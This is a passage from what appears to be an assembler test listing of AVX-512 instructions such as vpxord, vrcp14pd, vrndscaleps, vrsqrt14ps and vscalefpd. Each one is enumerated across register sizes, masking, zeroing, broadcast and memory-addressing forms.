vpunpckldq zmm24{k5}, zmm24, [rbx+r11*8-256]
vpunpckldq zmm24{k5}{z}, zmm24, zmm31
vpunpckldq zmm24{k5}{z}, zmm24, [rbx]
vpunpckldq zmm24{k5}{z}, zmm24, [rbx]{1to16}
vpunpckldq zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vpunpckldq zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vpunpcklqdq xmm2, xmm7, xmm0
vpunpcklqdq xmm2, xmm7, [rbx]
vpunpcklqdq xmm2, xmm7, [rbx]{1to2}
vpunpcklqdq xmm2, xmm7, [rbx+r11*8+256]
vpunpcklqdq xmm2, xmm7, [rbx+r11*8-256]
vpunpcklqdq xmm2{k5}, xmm7, xmm0
vpunpcklqdq xmm2{k5}, xmm7, [rbx]
vpunpcklqdq xmm2{k5}, xmm7, [rbx]{1to2}
vpunpcklqdq xmm2{k5}, xmm7, [rbx+r11*8+256]
vpunpcklqdq xmm2{k5}, xmm7, [rbx+r11*8-256]
vpunpcklqdq xmm2{k5}{z}, xmm7, xmm0
vpunpcklqdq xmm2{k5}{z}, xmm7, [rbx]
vpunpcklqdq xmm2{k5}{z}, xmm7, [rbx]{1to2}
vpunpcklqdq xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vpunpcklqdq xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vpunpcklqdq ymm16, ymm13, ymm15
vpunpcklqdq ymm16, ymm13, [rbx]
vpunpcklqdq ymm16, ymm13, [rbx]{1to4}
vpunpcklqdq ymm16, ymm13, [rbx+r11*8+256]
vpunpcklqdq ymm16, ymm13, [rbx+r11*8-256]
vpunpcklqdq ymm16{k5}, ymm13, ymm15
vpunpcklqdq ymm16{k5}, ymm13, [rbx]
vpunpcklqdq ymm16{k5}, ymm13, [rbx]{1to4}
vpunpcklqdq ymm16{k5}, ymm13, [rbx+r11*8+256]
vpunpcklqdq ymm16{k5}, ymm13, [rbx+r11*8-256]
vpunpcklqdq ymm16{k5}{z}, ymm13, ymm15
vpunpcklqdq ymm16{k5}{z}, ymm13, [rbx]
vpunpcklqdq ymm16{k5}{z}, ymm13, [rbx]{1to4}
vpunpcklqdq ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vpunpcklqdq ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vpunpcklqdq zmm24, zmm24, zmm31
vpunpcklqdq zmm24, zmm24, [rbx]
vpunpcklqdq zmm24, zmm24, [rbx]{1to8}
vpunpcklqdq zmm24, zmm24, [rbx+r11*8+256]
vpunpcklqdq zmm24, zmm24, [rbx+r11*8-256]
vpunpcklqdq zmm24{k5}, zmm24, zmm31
vpunpcklqdq zmm24{k5}, zmm24, [rbx]
vpunpcklqdq zmm24{k5}, zmm24, [rbx]{1to8}
vpunpcklqdq zmm24{k5}, zmm24, [rbx+r11*8+256]
vpunpcklqdq zmm24{k5}, zmm24, [rbx+r11*8-256]
vpunpcklqdq zmm24{k5}{z}, zmm24, zmm31
vpunpcklqdq zmm24{k5}{z}, zmm24, [rbx]
vpunpcklqdq zmm24{k5}{z}, zmm24, [rbx]{1to8}
vpunpcklqdq zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vpunpcklqdq zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vpxord xmm2, xmm7, xmm0
vpxord xmm2, xmm7, [rbx]
vpxord xmm2, xmm7, [rbx]{1to4}
vpxord xmm2, xmm7, [rbx+r11*8+256]
vpxord xmm2, xmm7, [rbx+r11*8-256]
vpxord xmm2{k5}, xmm7, xmm0
vpxord xmm2{k5}, xmm7, [rbx]
vpxord xmm2{k5}, xmm7, [rbx]{1to4}
vpxord xmm2{k5}, xmm7, [rbx+r11*8+256]
vpxord xmm2{k5}, xmm7, [rbx+r11*8-256]
vpxord xmm2{k5}{z}, xmm7, xmm0
vpxord xmm2{k5}{z}, xmm7, [rbx]
vpxord xmm2{k5}{z}, xmm7, [rbx]{1to4}
vpxord xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vpxord xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vpxord ymm16, ymm13, ymm15
vpxord ymm16, ymm13, [rbx]
vpxord ymm16, ymm13, [rbx]{1to8}
vpxord ymm16, ymm13, [rbx+r11*8+256]
vpxord ymm16, ymm13, [rbx+r11*8-256]
vpxord ymm16{k5}, ymm13, ymm15
vpxord ymm16{k5}, ymm13, [rbx]
vpxord ymm16{k5}, ymm13, [rbx]{1to8}
vpxord ymm16{k5}, ymm13, [rbx+r11*8+256]
vpxord ymm16{k5}, ymm13, [rbx+r11*8-256]
vpxord ymm16{k5}{z}, ymm13, ymm15
vpxord ymm16{k5}{z}, ymm13, [rbx]
vpxord ymm16{k5}{z}, ymm13, [rbx]{1to8}
vpxord ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vpxord ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vpxord zmm24, zmm24, zmm31
vpxord zmm24, zmm24, [rbx]
vpxord zmm24, zmm24, [rbx]{1to16}
vpxord zmm24, zmm24, [rbx+r11*8+256]
vpxord zmm24, zmm24, [rbx+r11*8-256]
vpxord zmm24{k5}, zmm24, zmm31
vpxord zmm24{k5}, zmm24, [rbx]
vpxord zmm24{k5}, zmm24, [rbx]{1to16}
vpxord zmm24{k5}, zmm24, [rbx+r11*8+256]
vpxord zmm24{k5}, zmm24, [rbx+r11*8-256]
vpxord zmm24{k5}{z}, zmm24, zmm31
vpxord zmm24{k5}{z}, zmm24, [rbx]
vpxord zmm24{k5}{z}, zmm24, [rbx]{1to16}
vpxord zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vpxord zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vpxorq xmm2, xmm7, xmm0
vpxorq xmm2, xmm7, [rbx]
vpxorq xmm2, xmm7, [rbx]{1to2}
vpxorq xmm2, xmm7, [rbx+r11*8+256]
vpxorq xmm2, xmm7, [rbx+r11*8-256]
vpxorq xmm2{k5}, xmm7, xmm0
vpxorq xmm2{k5}, xmm7, [rbx]
vpxorq xmm2{k5}, xmm7, [rbx]{1to2}
vpxorq xmm2{k5}, xmm7, [rbx+r11*8+256]
vpxorq xmm2{k5}, xmm7, [rbx+r11*8-256]
vpxorq xmm2{k5}{z}, xmm7, xmm0
vpxorq xmm2{k5}{z}, xmm7, [rbx]
vpxorq xmm2{k5}{z}, xmm7, [rbx]{1to2}
vpxorq xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vpxorq xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vpxorq ymm16, ymm13, ymm15
vpxorq ymm16, ymm13, [rbx]
vpxorq ymm16, ymm13, [rbx]{1to4}
vpxorq ymm16, ymm13, [rbx+r11*8+256]
vpxorq ymm16, ymm13, [rbx+r11*8-256]
vpxorq ymm16{k5}, ymm13, ymm15
vpxorq ymm16{k5}, ymm13, [rbx]
vpxorq ymm16{k5}, ymm13, [rbx]{1to4}
vpxorq ymm16{k5}, ymm13, [rbx+r11*8+256]
vpxorq ymm16{k5}, ymm13, [rbx+r11*8-256]
vpxorq ymm16{k5}{z}, ymm13, ymm15
vpxorq ymm16{k5}{z}, ymm13, [rbx]
vpxorq ymm16{k5}{z}, ymm13, [rbx]{1to4}
vpxorq ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vpxorq ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vpxorq zmm24, zmm24, zmm31
vpxorq zmm24, zmm24, [rbx]
vpxorq zmm24, zmm24, [rbx]{1to8}
vpxorq zmm24, zmm24, [rbx+r11*8+256]
vpxorq zmm24, zmm24, [rbx+r11*8-256]
vpxorq zmm24{k5}, zmm24, zmm31
vpxorq zmm24{k5}, zmm24, [rbx]
vpxorq zmm24{k5}, zmm24, [rbx]{1to8}
vpxorq zmm24{k5}, zmm24, [rbx+r11*8+256]
vpxorq zmm24{k5}, zmm24, [rbx+r11*8-256]
vpxorq zmm24{k5}{z}, zmm24, zmm31
vpxorq zmm24{k5}{z}, zmm24, [rbx]
vpxorq zmm24{k5}{z}, zmm24, [rbx]{1to8}
vpxorq zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vpxorq zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vrcp14pd xmm2, xmm0
vrcp14pd xmm2, [rbx]
vrcp14pd xmm2, [rbx]{1to2}
vrcp14pd xmm2, [rbx+r11*8+256]
vrcp14pd xmm2, [rbx+r11*8-256]
vrcp14pd xmm2{k5}, xmm0
vrcp14pd xmm2{k5}, [rbx]
vrcp14pd xmm2{k5}, [rbx]{1to2}
vrcp14pd xmm2{k5}, [rbx+r11*8+256]
vrcp14pd xmm2{k5}, [rbx+r11*8-256]
vrcp14pd xmm2{k5}{z}, xmm0
vrcp14pd xmm2{k5}{z}, [rbx]
vrcp14pd xmm2{k5}{z}, [rbx]{1to2}
vrcp14pd xmm2{k5}{z}, [rbx+r11*8+256]
vrcp14pd xmm2{k5}{z}, [rbx+r11*8-256]
vrcp14pd ymm16, ymm15
vrcp14pd ymm16, [rbx]
vrcp14pd ymm16, [rbx]{1to4}
vrcp14pd ymm16, [rbx+r11*8+256]
vrcp14pd ymm16, [rbx+r11*8-256]
vrcp14pd ymm16{k5}, ymm15
vrcp14pd ymm16{k5}, [rbx]
vrcp14pd ymm16{k5}, [rbx]{1to4}
vrcp14pd ymm16{k5}, [rbx+r11*8+256]
vrcp14pd ymm16{k5}, [rbx+r11*8-256]
vrcp14pd ymm16{k5}{z}, ymm15
vrcp14pd ymm16{k5}{z}, [rbx]
vrcp14pd ymm16{k5}{z}, [rbx]{1to4}
vrcp14pd ymm16{k5}{z}, [rbx+r11*8+256]
vrcp14pd ymm16{k5}{z}, [rbx+r11*8-256]
vrcp14pd zmm24, zmm31
vrcp14pd zmm24, [rbx]
vrcp14pd zmm24, [rbx]{1to8}
vrcp14pd zmm24, [rbx+r11*8+256]
vrcp14pd zmm24, [rbx+r11*8-256]
vrcp14pd zmm24{k5}, zmm31
vrcp14pd zmm24{k5}, [rbx]
vrcp14pd zmm24{k5}, [rbx]{1to8}
vrcp14pd zmm24{k5}, [rbx+r11*8+256]
vrcp14pd zmm24{k5}, [rbx+r11*8-256]
vrcp14pd zmm24{k5}{z}, zmm31
vrcp14pd zmm24{k5}{z}, [rbx]
vrcp14pd zmm24{k5}{z}, [rbx]{1to8}
vrcp14pd zmm24{k5}{z}, [rbx+r11*8+256]
vrcp14pd zmm24{k5}{z}, [rbx+r11*8-256]
vrcp14ps xmm2, xmm0
vrcp14ps xmm2, [rbx]
vrcp14ps xmm2, [rbx]{1to4}
vrcp14ps xmm2, [rbx+r11*8+256]
vrcp14ps xmm2, [rbx+r11*8-256]
vrcp14ps xmm2{k5}, xmm0
vrcp14ps xmm2{k5}, [rbx]
vrcp14ps xmm2{k5}, [rbx]{1to4}
vrcp14ps xmm2{k5}, [rbx+r11*8+256]
vrcp14ps xmm2{k5}, [rbx+r11*8-256]
vrcp14ps xmm2{k5}{z}, xmm0
vrcp14ps xmm2{k5}{z}, [rbx]
vrcp14ps xmm2{k5}{z}, [rbx]{1to4}
vrcp14ps xmm2{k5}{z}, [rbx+r11*8+256]
vrcp14ps xmm2{k5}{z}, [rbx+r11*8-256]
vrcp14ps ymm16, ymm15
vrcp14ps ymm16, [rbx]
vrcp14ps ymm16, [rbx]{1to8}
vrcp14ps ymm16, [rbx+r11*8+256]
vrcp14ps ymm16, [rbx+r11*8-256]
vrcp14ps ymm16{k5}, ymm15
vrcp14ps ymm16{k5}, [rbx]
vrcp14ps ymm16{k5}, [rbx]{1to8}
vrcp14ps ymm16{k5}, [rbx+r11*8+256]
vrcp14ps ymm16{k5}, [rbx+r11*8-256]
vrcp14ps ymm16{k5}{z}, ymm15
vrcp14ps ymm16{k5}{z}, [rbx]
vrcp14ps ymm16{k5}{z}, [rbx]{1to8}
vrcp14ps ymm16{k5}{z}, [rbx+r11*8+256]
vrcp14ps ymm16{k5}{z}, [rbx+r11*8-256]
vrcp14ps zmm24, zmm31
vrcp14ps zmm24, [rbx]
vrcp14ps zmm24, [rbx]{1to16}
vrcp14ps zmm24, [rbx+r11*8+256]
vrcp14ps zmm24, [rbx+r11*8-256]
vrcp14ps zmm24{k5}, zmm31
vrcp14ps zmm24{k5}, [rbx]
vrcp14ps zmm24{k5}, [rbx]{1to16}
vrcp14ps zmm24{k5}, [rbx+r11*8+256]
vrcp14ps zmm24{k5}, [rbx+r11*8-256]
vrcp14ps zmm24{k5}{z}, zmm31
vrcp14ps zmm24{k5}{z}, [rbx]
vrcp14ps zmm24{k5}{z}, [rbx]{1to16}
vrcp14ps zmm24{k5}{z}, [rbx+r11*8+256]
vrcp14ps zmm24{k5}{z}, [rbx+r11*8-256]
vrcp14sd xmm2, xmm7, xmm0
vrcp14sd xmm2, xmm7, [rbx]
vrcp14sd xmm2, xmm7, [rbx+r11*8+256]
vrcp14sd xmm2, xmm7, [rbx+r11*8-256]
vrcp14sd xmm2{k5}, xmm7, xmm0
vrcp14sd xmm2{k5}, xmm7, [rbx]
vrcp14sd xmm2{k5}, xmm7, [rbx+r11*8+256]
vrcp14sd xmm2{k5}, xmm7, [rbx+r11*8-256]
vrcp14sd xmm2{k5}{z}, xmm7, xmm0
vrcp14sd xmm2{k5}{z}, xmm7, [rbx]
vrcp14sd xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vrcp14sd xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vrcp14ss xmm2, xmm7, xmm0
vrcp14ss xmm2, xmm7, [rbx]
vrcp14ss xmm2, xmm7, [rbx+r11*8+256]
vrcp14ss xmm2, xmm7, [rbx+r11*8-256]
vrcp14ss xmm2{k5}, xmm7, xmm0
vrcp14ss xmm2{k5}, xmm7, [rbx]
vrcp14ss xmm2{k5}, xmm7, [rbx+r11*8+256]
vrcp14ss xmm2{k5}, xmm7, [rbx+r11*8-256]
vrcp14ss xmm2{k5}{z}, xmm7, xmm0
vrcp14ss xmm2{k5}{z}, xmm7, [rbx]
vrcp14ss xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vrcp14ss xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vrndscalepd xmm2, xmm0, 10
vrndscalepd xmm2, [rbx], 10
vrndscalepd xmm2, [rbx]{1to2}, 10
vrndscalepd xmm2, [rbx+r11*8+256], 10
vrndscalepd xmm2, [rbx+r11*8-256], 10
vrndscalepd xmm2{k5}, xmm0, 10
vrndscalepd xmm2{k5}, [rbx], 10
vrndscalepd xmm2{k5}, [rbx]{1to2}, 10
vrndscalepd xmm2{k5}, [rbx+r11*8+256], 10
vrndscalepd xmm2{k5}, [rbx+r11*8-256], 10
vrndscalepd xmm2{k5}{z}, xmm0, 10
vrndscalepd xmm2{k5}{z}, [rbx], 10
vrndscalepd xmm2{k5}{z}, [rbx]{1to2}, 10
vrndscalepd xmm2{k5}{z}, [rbx+r11*8+256], 10
vrndscalepd xmm2{k5}{z}, [rbx+r11*8-256], 10
vrndscalepd ymm16, ymm15, 10
vrndscalepd ymm16, [rbx], 10
vrndscalepd ymm16, [rbx]{1to4}, 10
vrndscalepd ymm16, [rbx+r11*8+256], 10
vrndscalepd ymm16, [rbx+r11*8-256], 10
vrndscalepd ymm16{k5}, ymm15, 10
vrndscalepd ymm16{k5}, [rbx], 10
vrndscalepd ymm16{k5}, [rbx]{1to4}, 10
vrndscalepd ymm16{k5}, [rbx+r11*8+256], 10
vrndscalepd ymm16{k5}, [rbx+r11*8-256], 10
vrndscalepd ymm16{k5}{z}, ymm15, 10
vrndscalepd ymm16{k5}{z}, [rbx], 10
vrndscalepd ymm16{k5}{z}, [rbx]{1to4}, 10
vrndscalepd ymm16{k5}{z}, [rbx+r11*8+256], 10
vrndscalepd ymm16{k5}{z}, [rbx+r11*8-256], 10
vrndscalepd zmm24, zmm31, 10
vrndscalepd zmm24, [rbx], 10
vrndscalepd zmm24, [rbx]{1to8}, 10
vrndscalepd zmm24, [rbx+r11*8+256], 10
vrndscalepd zmm24, [rbx+r11*8-256], 10
vrndscalepd zmm24{k5}, zmm31, 10
vrndscalepd zmm24{k5}, [rbx], 10
vrndscalepd zmm24{k5}, [rbx]{1to8}, 10
vrndscalepd zmm24{k5}, [rbx+r11*8+256], 10
vrndscalepd zmm24{k5}, [rbx+r11*8-256], 10
vrndscalepd zmm24{k5}{z}, zmm31, 10
vrndscalepd zmm24{k5}{z}, [rbx], 10
vrndscalepd zmm24{k5}{z}, [rbx]{1to8}, 10
vrndscalepd zmm24{k5}{z}, [rbx+r11*8+256], 10
vrndscalepd zmm24{k5}{z}, [rbx+r11*8-256], 10
vrndscaleps xmm2, xmm0, 10
vrndscaleps xmm2, [rbx], 10
vrndscaleps xmm2, [rbx]{1to4}, 10
vrndscaleps xmm2, [rbx+r11*8+256], 10
vrndscaleps xmm2, [rbx+r11*8-256], 10
vrndscaleps xmm2{k5}, xmm0, 10
vrndscaleps xmm2{k5}, [rbx], 10
vrndscaleps xmm2{k5}, [rbx]{1to4}, 10
vrndscaleps xmm2{k5}, [rbx+r11*8+256], 10
vrndscaleps xmm2{k5}, [rbx+r11*8-256], 10
vrndscaleps xmm2{k5}{z}, xmm0, 10
vrndscaleps xmm2{k5}{z}, [rbx], 10
vrndscaleps xmm2{k5}{z}, [rbx]{1to4}, 10
vrndscaleps xmm2{k5}{z}, [rbx+r11*8+256], 10
vrndscaleps xmm2{k5}{z}, [rbx+r11*8-256], 10
vrndscaleps ymm16, ymm15, 10
vrndscaleps ymm16, [rbx], 10
vrndscaleps ymm16, [rbx]{1to8}, 10
vrndscaleps ymm16, [rbx+r11*8+256], 10
vrndscaleps ymm16, [rbx+r11*8-256], 10
vrndscaleps ymm16{k5}, ymm15, 10
vrndscaleps ymm16{k5}, [rbx], 10
vrndscaleps ymm16{k5}, [rbx]{1to8}, 10
vrndscaleps ymm16{k5}, [rbx+r11*8+256], 10
vrndscaleps ymm16{k5}, [rbx+r11*8-256], 10
vrndscaleps ymm16{k5}{z}, ymm15, 10
vrndscaleps ymm16{k5}{z}, [rbx], 10
vrndscaleps ymm16{k5}{z}, [rbx]{1to8}, 10
vrndscaleps ymm16{k5}{z}, [rbx+r11*8+256], 10
vrndscaleps ymm16{k5}{z}, [rbx+r11*8-256], 10
vrndscaleps zmm24, zmm31, 10
vrndscaleps zmm24, [rbx], 10
vrndscaleps zmm24, [rbx]{1to16}, 10
vrndscaleps zmm24, [rbx+r11*8+256], 10
vrndscaleps zmm24, [rbx+r11*8-256], 10
vrndscaleps zmm24{k5}, zmm31, 10
vrndscaleps zmm24{k5}, [rbx], 10
vrndscaleps zmm24{k5}, [rbx]{1to16}, 10
vrndscaleps zmm24{k5}, [rbx+r11*8+256], 10
vrndscaleps zmm24{k5}, [rbx+r11*8-256], 10
vrndscaleps zmm24{k5}{z}, zmm31, 10
vrndscaleps zmm24{k5}{z}, [rbx], 10
vrndscaleps zmm24{k5}{z}, [rbx]{1to16}, 10
vrndscaleps zmm24{k5}{z}, [rbx+r11*8+256], 10
vrndscaleps zmm24{k5}{z}, [rbx+r11*8-256], 10
vrndscalesd xmm2, xmm7, xmm0, 10
vrndscalesd xmm2, xmm7, [rbx], 10
vrndscalesd xmm2, xmm7, [rbx+r11*8+256], 10
vrndscalesd xmm2, xmm7, [rbx+r11*8-256], 10
vrndscalesd xmm2{k5}, xmm7, xmm0, 10
vrndscalesd xmm2{k5}, xmm7, [rbx], 10
vrndscalesd xmm2{k5}, xmm7, [rbx+r11*8+256], 10
vrndscalesd xmm2{k5}, xmm7, [rbx+r11*8-256], 10
vrndscalesd xmm2{k5}{z}, xmm7, xmm0, 10
vrndscalesd xmm2{k5}{z}, xmm7, [rbx], 10
vrndscalesd xmm2{k5}{z}, xmm7, [rbx+r11*8+256], 10
vrndscalesd xmm2{k5}{z}, xmm7, [rbx+r11*8-256], 10
vrndscaless xmm2, xmm7, xmm0, 10
vrndscaless xmm2, xmm7, [rbx], 10
vrndscaless xmm2, xmm7, [rbx+r11*8+256], 10
vrndscaless xmm2, xmm7, [rbx+r11*8-256], 10
vrndscaless xmm2{k5}, xmm7, xmm0, 10
vrndscaless xmm2{k5}, xmm7, [rbx], 10
vrndscaless xmm2{k5}, xmm7, [rbx+r11*8+256], 10
vrndscaless xmm2{k5}, xmm7, [rbx+r11*8-256], 10
vrndscaless xmm2{k5}{z}, xmm7, xmm0, 10
vrndscaless xmm2{k5}{z}, xmm7, [rbx], 10
vrndscaless xmm2{k5}{z}, xmm7, [rbx+r11*8+256], 10
vrndscaless xmm2{k5}{z}, xmm7, [rbx+r11*8-256], 10
vrsqrt14pd xmm2, xmm0
vrsqrt14pd xmm2, [rbx]
vrsqrt14pd xmm2, [rbx]{1to2}
vrsqrt14pd xmm2, [rbx+r11*8+256]
vrsqrt14pd xmm2, [rbx+r11*8-256]
vrsqrt14pd xmm2{k5}, xmm0
vrsqrt14pd xmm2{k5}, [rbx]
vrsqrt14pd xmm2{k5}, [rbx]{1to2}
vrsqrt14pd xmm2{k5}, [rbx+r11*8+256]
vrsqrt14pd xmm2{k5}, [rbx+r11*8-256]
vrsqrt14pd xmm2{k5}{z}, xmm0
vrsqrt14pd xmm2{k5}{z}, [rbx]
vrsqrt14pd xmm2{k5}{z}, [rbx]{1to2}
vrsqrt14pd xmm2{k5}{z}, [rbx+r11*8+256]
vrsqrt14pd xmm2{k5}{z}, [rbx+r11*8-256]
vrsqrt14pd ymm16, ymm15
vrsqrt14pd ymm16, [rbx]
vrsqrt14pd ymm16, [rbx]{1to4}
vrsqrt14pd ymm16, [rbx+r11*8+256]
vrsqrt14pd ymm16, [rbx+r11*8-256]
vrsqrt14pd ymm16{k5}, ymm15
vrsqrt14pd ymm16{k5}, [rbx]
vrsqrt14pd ymm16{k5}, [rbx]{1to4}
vrsqrt14pd ymm16{k5}, [rbx+r11*8+256]
vrsqrt14pd ymm16{k5}, [rbx+r11*8-256]
vrsqrt14pd ymm16{k5}{z}, ymm15
vrsqrt14pd ymm16{k5}{z}, [rbx]
vrsqrt14pd ymm16{k5}{z}, [rbx]{1to4}
vrsqrt14pd ymm16{k5}{z}, [rbx+r11*8+256]
vrsqrt14pd ymm16{k5}{z}, [rbx+r11*8-256]
vrsqrt14pd zmm24, zmm31
vrsqrt14pd zmm24, [rbx]
vrsqrt14pd zmm24, [rbx]{1to8}
vrsqrt14pd zmm24, [rbx+r11*8+256]
vrsqrt14pd zmm24, [rbx+r11*8-256]
vrsqrt14pd zmm24{k5}, zmm31
vrsqrt14pd zmm24{k5}, [rbx]
vrsqrt14pd zmm24{k5}, [rbx]{1to8}
vrsqrt14pd zmm24{k5}, [rbx+r11*8+256]
vrsqrt14pd zmm24{k5}, [rbx+r11*8-256]
vrsqrt14pd zmm24{k5}{z}, zmm31
vrsqrt14pd zmm24{k5}{z}, [rbx]
vrsqrt14pd zmm24{k5}{z}, [rbx]{1to8}
vrsqrt14pd zmm24{k5}{z}, [rbx+r11*8+256]
vrsqrt14pd zmm24{k5}{z}, [rbx+r11*8-256]
vrsqrt14ps xmm2, xmm0
vrsqrt14ps xmm2, [rbx]
vrsqrt14ps xmm2, [rbx]{1to4}
vrsqrt14ps xmm2, [rbx+r11*8+256]
vrsqrt14ps xmm2, [rbx+r11*8-256]
vrsqrt14ps xmm2{k5}, xmm0
vrsqrt14ps xmm2{k5}, [rbx]
vrsqrt14ps xmm2{k5}, [rbx]{1to4}
vrsqrt14ps xmm2{k5}, [rbx+r11*8+256]
vrsqrt14ps xmm2{k5}, [rbx+r11*8-256]
vrsqrt14ps xmm2{k5}{z}, xmm0
vrsqrt14ps xmm2{k5}{z}, [rbx]
vrsqrt14ps xmm2{k5}{z}, [rbx]{1to4}
vrsqrt14ps xmm2{k5}{z}, [rbx+r11*8+256]
vrsqrt14ps xmm2{k5}{z}, [rbx+r11*8-256]
vrsqrt14ps ymm16, ymm15
vrsqrt14ps ymm16, [rbx]
vrsqrt14ps ymm16, [rbx]{1to8}
vrsqrt14ps ymm16, [rbx+r11*8+256]
vrsqrt14ps ymm16, [rbx+r11*8-256]
vrsqrt14ps ymm16{k5}, ymm15
vrsqrt14ps ymm16{k5}, [rbx]
vrsqrt14ps ymm16{k5}, [rbx]{1to8}
vrsqrt14ps ymm16{k5}, [rbx+r11*8+256]
vrsqrt14ps ymm16{k5}, [rbx+r11*8-256]
vrsqrt14ps ymm16{k5}{z}, ymm15
vrsqrt14ps ymm16{k5}{z}, [rbx]
vrsqrt14ps ymm16{k5}{z}, [rbx]{1to8}
vrsqrt14ps ymm16{k5}{z}, [rbx+r11*8+256]
vrsqrt14ps ymm16{k5}{z}, [rbx+r11*8-256]
vrsqrt14ps zmm24, zmm31
vrsqrt14ps zmm24, [rbx]
vrsqrt14ps zmm24, [rbx]{1to16}
vrsqrt14ps zmm24, [rbx+r11*8+256]
vrsqrt14ps zmm24, [rbx+r11*8-256]
vrsqrt14ps zmm24{k5}, zmm31
vrsqrt14ps zmm24{k5}, [rbx]
vrsqrt14ps zmm24{k5}, [rbx]{1to16}
vrsqrt14ps zmm24{k5}, [rbx+r11*8+256]
vrsqrt14ps zmm24{k5}, [rbx+r11*8-256]
vrsqrt14ps zmm24{k5}{z}, zmm31
vrsqrt14ps zmm24{k5}{z}, [rbx]
vrsqrt14ps zmm24{k5}{z}, [rbx]{1to16}
vrsqrt14ps zmm24{k5}{z}, [rbx+r11*8+256]
vrsqrt14ps zmm24{k5}{z}, [rbx+r11*8-256]
vrsqrt14sd xmm2, xmm7, xmm0
vrsqrt14sd xmm2, xmm7, [rbx]
vrsqrt14sd xmm2, xmm7, [rbx+r11*8+256]
vrsqrt14sd xmm2, xmm7, [rbx+r11*8-256]
vrsqrt14sd xmm2{k5}, xmm7, xmm0
vrsqrt14sd xmm2{k5}, xmm7, [rbx]
vrsqrt14sd xmm2{k5}, xmm7, [rbx+r11*8+256]
vrsqrt14sd xmm2{k5}, xmm7, [rbx+r11*8-256]
vrsqrt14sd xmm2{k5}{z}, xmm7, xmm0
vrsqrt14sd xmm2{k5}{z}, xmm7, [rbx]
vrsqrt14sd xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vrsqrt14sd xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vrsqrt14ss xmm2, xmm7, xmm0
vrsqrt14ss xmm2, xmm7, [rbx]
vrsqrt14ss xmm2, xmm7, [rbx+r11*8+256]
vrsqrt14ss xmm2, xmm7, [rbx+r11*8-256]
vrsqrt14ss xmm2{k5}, xmm7, xmm0
vrsqrt14ss xmm2{k5}, xmm7, [rbx]
vrsqrt14ss xmm2{k5}, xmm7, [rbx+r11*8+256]
vrsqrt14ss xmm2{k5}, xmm7, [rbx+r11*8-256]
vrsqrt14ss xmm2{k5}{z}, xmm7, xmm0
vrsqrt14ss xmm2{k5}{z}, xmm7, [rbx]
vrsqrt14ss xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vrsqrt14ss xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vscalefpd xmm2, xmm7, xmm0
vscalefpd xmm2, xmm7, [rbx]
vscalefpd xmm2, xmm7, [rbx]{1to2}
vscalefpd xmm2, xmm7, [rbx+r11*8+256]
vscalefpd xmm2, xmm7, [rbx+r11*8-256]
vscalefpd xmm2{k5}, xmm7, xmm0
vscalefpd xmm2{k5}, xmm7, [rbx]
vscalefpd xmm2{k5}, xmm7, [rbx]{1to2}
vscalefpd xmm2{k5}, xmm7, [rbx+r11*8+256]
vscalefpd xmm2{k5}, xmm7, [rbx+r11*8-256]
vscalefpd xmm2{k5}{z}, xmm7, xmm0
vscalefpd xmm2{k5}{z}, xmm7, [rbx]
vscalefpd xmm2{k5}{z}, xmm7, [rbx]{1to2}
vscalefpd xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vscalefpd xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vscalefpd ymm16, ymm13, ymm15
vscalefpd ymm16, ymm13, [rbx]
vscalefpd ymm16, ymm13, [rbx]{1to4}
vscalefpd ymm16, ymm13, [rbx+r11*8+256]
vscalefpd ymm16, ymm13, [rbx+r11*8-256]
vscalefpd ymm16{k5}, ymm13, ymm15
vscalefpd ymm16{k5}, ymm13, [rbx]
vscalefpd ymm16{k5}, ymm13, [rbx]{1to4}
vscalefpd ymm16{k5}, ymm13, [rbx+r11*8+256]
vscalefpd ymm16{k5}, ymm13, [rbx+r11*8-256]
vscalefpd ymm16{k5}{z}, ymm13, ymm15
vscalefpd ymm16{k5}{z}, ymm13, [rbx]
vscalefpd ymm16{k5}{z}, ymm13, [rbx]{1to4}
vscalefpd ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vscalefpd ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vscalefpd zmm24, zmm24, zmm31
vscalefpd zmm24, zmm24, zmm31, {rd-sae}
vscalefpd zmm24, zmm24, [rbx]
vscalefpd zmm24, zmm24, [rbx]{1to8}
vscalefpd zmm24, zmm24, [rbx+r11*8+256]
vscalefpd zmm24, zmm24, [rbx+r11*8-256]
vscalefpd zmm24{k5}, zmm24, zmm31
vscalefpd zmm24{k5}, zmm24, zmm31, {rd-sae}
vscalefpd zmm24{k5}, zmm24, [rbx]
vscalefpd zmm24{k5}, zmm24, [rbx]{1to8}
vscalefpd zmm24{k5}, zmm24, [rbx+r11*8+256]
vscalefpd zmm24{k5}, zmm24, [rbx+r11*8-256]
vscalefpd zmm24{k5}{z}, zmm24, zmm31
vscalefpd zmm24{k5}{z}, zmm24, zmm31, {rd-sae}
vscalefpd zmm24{k5}{z}, zmm24, [rbx]
vscalefpd zmm24{k5}{z}, zmm24, [rbx]{1to8}
vscalefpd zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
